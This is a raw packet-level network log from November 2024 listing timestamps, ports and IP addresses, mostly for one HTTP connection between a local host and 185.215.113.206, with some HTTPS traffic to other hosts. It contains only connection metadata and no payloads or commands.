Nov 27, 2024 16:34:52.308851957 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.308885098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.308897972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.308959007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.308959007 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.309011936 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309046984 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309060097 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309071064 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309091091 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.309159040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.309159040 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.309458017 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309470892 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309494972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309508085 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309519053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309524059 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.309529066 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309547901 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309551954 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.309561968 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309572935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.309591055 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.309624910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.309624910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.310012102 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310024977 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310035944 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310045958 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310055971 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310066938 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310070038 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.310079098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310091972 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310094118 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.310105085 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310116053 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310125113 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.310169935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.310169935 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.310589075 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310601950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310731888 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310743093 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310779095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310781956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.310781956 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.310791016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310801983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310812950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.310942888 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.311167955 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.311187983 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.311199903 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.311239004 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.311239004 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.318865061 CET	443	49856	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.319664955 CET	443	49855	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.320451975 CET	49856	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.320487976 CET	443	49856	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.321583033 CET	49856	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.321599960 CET	443	49856	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.322215080 CET	49855	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.322231054 CET	443	49855	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.322863102 CET	49855	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.322877884 CET	443	49855	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.464642048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.464678049 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.464766026 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.464766026 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.465080023 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.465213060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.465255976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.465255976 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.465310097 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.466118097 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.466202021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.466202021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.466295004 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.467062950 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.467109919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.467109919 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.467220068 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.467987061 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.468012094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.468030930 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.468427896 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.468427896 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.468878031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.468955994 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.469186068 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.469832897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.469846010 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.469863892 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.471015930 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.471231937 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.471252918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.471252918 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.471935034 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.472434998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.472434998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.472453117 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.472739935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.472752094 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.472754955 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.473702908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.473730087 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.473864079 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.473927021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.473927021 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.474672079 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.475040913 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.475059032 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.475615025 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.475737095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.475759983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.475759983 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.476424932 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.476433039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.476545095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.476629972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.476629972 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.477343082 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.477355957 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.477386951 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.478118896 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.478190899 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.478212118 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.478212118 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.478822947 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.479028940 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.479047060 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.479047060 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.479701996 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.479940891 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.479959965 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.479959965 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.480405092 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.480593920 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.481075048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.481095076 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.481796980 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.481843948 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.481889009 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.481889009 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.482552052 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.483148098 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.483264923 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.483289003 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.483407974 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.484206915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.484226942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.484226942 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.484431982 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.484752893 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.485130072 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.485141039 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.485147953 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.486006975 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.486089945 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.486129045 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.486268997 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.486268997 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.487008095 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.487451077 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.487471104 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.487874031 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.488003016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.488064051 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.488064051 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.488085985 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.488780975 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.488795042 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.488831043 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.489638090 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.489681959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.489681959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.489803076 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.490537882 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.490564108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.490978003 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.491348982 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.491348982 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.491437912 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.491684914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.491725922 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.491725922 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.492364883 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.492971897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.493722916 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.493772984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.493772984 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.494489908 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.494740963 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.494752884 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.494772911 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.495342016 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.495388031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.495388031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.495388031 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.495584011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.495987892 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.496006012 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.496023893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.496023893 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.496429920 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.496846914 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.497210979 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.497229099 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.497756004 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.497924089 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.497942924 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.497942924 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.498852015 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.498863935 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.498879910 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.499552011 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.499572039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.499572039 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.499690056 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.499842882 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.499842882 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.500504971 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.500606060 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.500663996 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.500684023 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.501382113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.501511097 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.501528025 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.502290964 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.502469063 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.502486944 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.502486944 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.503271103 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.503478050 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.503498077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.503498077 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.504162073 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.504435062 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.504565954 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.504981041 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.505000114 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.505048037 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.505914927 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.505969048 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.505969048 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.506834984 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.506846905 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.506886959 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.506922007 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.507756948 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.507783890 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.507783890 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.507859945 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.508434057 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.508434057 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.508641005 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.508722067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.508770943 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.509527922 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.509598017 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.509618998 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.510437965 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.510781050 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.510798931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.510798931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.511451006 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.511743069 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.511760950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.511760950 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.512434006 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.568234921 CET	443	49857	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.569977999 CET	49857	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.570012093 CET	443	49857	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.570928097 CET	49857	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.570938110 CET	443	49857	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.602794886 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.609922886 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.609956980 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.610763073 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:52.610770941 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:52.639718056 CET	443	49863	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:52.640528917 CET	49863	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:52.640544891 CET	443	49863	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:52.641782045 CET	443	49863	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:52.641885042 CET	49863	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:52.642890930 CET	49863	443	192.168.2.7	23.44.203.14
Nov 27, 2024 16:34:52.642992020 CET	443	49863	23.44.203.14	192.168.2.7
Nov 27, 2024 16:34:52.667696953 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.667845964 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.667929888 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.667929888 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.668215990 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.668278933 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.668311119 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.668378115 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.669029951 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.669135094 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.669529915 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.669972897 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.669974089 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.670603991 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.670797110 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.670797110 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.670906067 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.670919895 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.671348095 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.671703100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.672122002 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.672178030 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.672178030 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.672858000 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.672871113 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.672923088 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.672923088 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.673521996 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.673599005 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.673723936 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.673723936 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.674417973 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.674477100 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.674518108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.674518108 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.675369024 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.675595999 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.676059961 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.676280975 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.676291943 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.676315069 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.676353931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.676353931 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.677220106 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.677324057 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.677442074 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.677721024 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.678055048 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.678400993 CET	80	49777	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:52.678462029 CET	49777	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:52.678462029 CET	49777	80	192.168.2.7	185.215.113.206
